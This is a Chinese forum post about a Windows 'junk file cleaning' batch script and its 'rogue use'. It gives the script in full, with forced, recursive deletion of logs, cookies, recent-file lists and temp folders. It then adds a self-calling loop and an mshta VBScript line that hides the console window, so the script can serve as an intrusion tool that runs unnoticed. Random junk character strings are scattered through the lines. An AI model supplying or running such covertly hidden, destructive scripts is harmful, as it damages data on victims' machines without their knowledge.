【原创】再谈垃圾清除的批处理和其流氓运用!
[size=5][b]大家经常会看到这个垃圾清除的的BAT程序,也就是很多人所说的30秒清除所有的系统他及程序 说实话这个批处理效果确实不错 ,速度快而且不重不漏!系统这下减了不少肥。不过我觉得这个BAT还是有点不很完善,要是能够自动检测系统中的垃圾文件并且删除那该多好啊![/b][/size]X m,Epo0Zx/Ua.bat源代码如下:F m WzIv9R?f
[color=#003366][b][color=royalblue][/color]
===可以直接保存改名a.bat=====================eP E#v n t%RA bR
@echo off
echo 正在清除系统垃圾文件,请稍等...... [5]'~8@h.tP4S3w
@del /f /s /q %systemdrive%\*.tmp
@del /f /s /q %systemdrive%\*._mp 0|k5{L4ZC/E.XM"l!o
@del /f /s /q %systemdrive%\*.log
@del /f /s /q %systemdrive%\*.gid j.t(K^$_ w2p
@del /f /s /q %systemdrive%\*.chk
@del /f /s /q %systemdrive%\*.old Sm1TP5E Lb3h/E!x
@del /f /s /q %systemdrive%\recycled\*.* %Pd3[y-f
@del /f /s /q %windir%\*.bak
@del /f /s /q %windir%\prefetch\*.*
@rd /s /q %windir%\temp & md %windir%\temp ,XIq,[`M&s
@del /f /q %userprofile%\cookies\*.*
@del /f /q %userprofile%\recent\*.*
@del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
@del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
@del /f /s /q "%userprofile%\recent\*.*"
echo 清除系统LJ完成![/b][/color] S!|z7x.^'Z
[size=5]其实简单的一句话便实现了那个功能,在“echo 清除系统LJ完成!”后面加上一句 “call a.bat”就OK了,命令的意思大家都懂,我就不做解释了!我运行了一下,到是能够自动检测和删除了,而且关掉对话框也简单,直接关闭就行了!但是如果 被当作入侵工具却又点太暴露,并且那个DOS框始终不能隐藏,很容易被发现.这该怎么办?想想批处理里面的命令,貌似没见到有隐藏对话框的用法(如果有请告诉指教一下!我的QQ:118122875),于是到网上找了一下,决定用VBS代码实现,于是又加上了下面的代码,其实也很简单,也就加了一句话进去:[/size]J ^]8X%c Z
]f%S:QF?*eD
[color=#ff0000][b]===可以直接保存改名为a.bat[size=2][color=#0000ff](一定要是a.bat哦具体说明原因你应该明白吧======[/color]
[/size]@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit{1v*uX+vb3L
:begin
echo 正在清除系统垃圾文件,请稍等......
@@del /f /s /q %systemdrive%\*.tmp
@del /f /s /q %systemdrive%\*._mp
@del /f /s /q %systemdrive%\*.log Ic yY#Q3N)u
@del /f /s /q %systemdrive%\*.gid N)kT8Z9p2o
@del /f /s /q %systemdrive%\*.chk
@del /f /s /q %systemdrive%\*.old
@del /f /s /q %systemdrive%\recycled\*.*
@del /f /s /q %windir%\*.bak
@del /f /s /q %windir%\prefetch\*.* )O5Tc~+T|
@rd /s /q %windir%\temp & md %windir%\temp
@del /f /q %userprofile%\cookies\*.* V@zc&LF
@del /f /q %userprofile%\recent\*.*
@del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*" ^'IG|f_?
@del /f /s /q "%userprofile%\Local Settings\Temp\*.*" +D}{.sT)G
@del /f /s /q "%userprofile%\recent\*.*" !i*w2{&F._
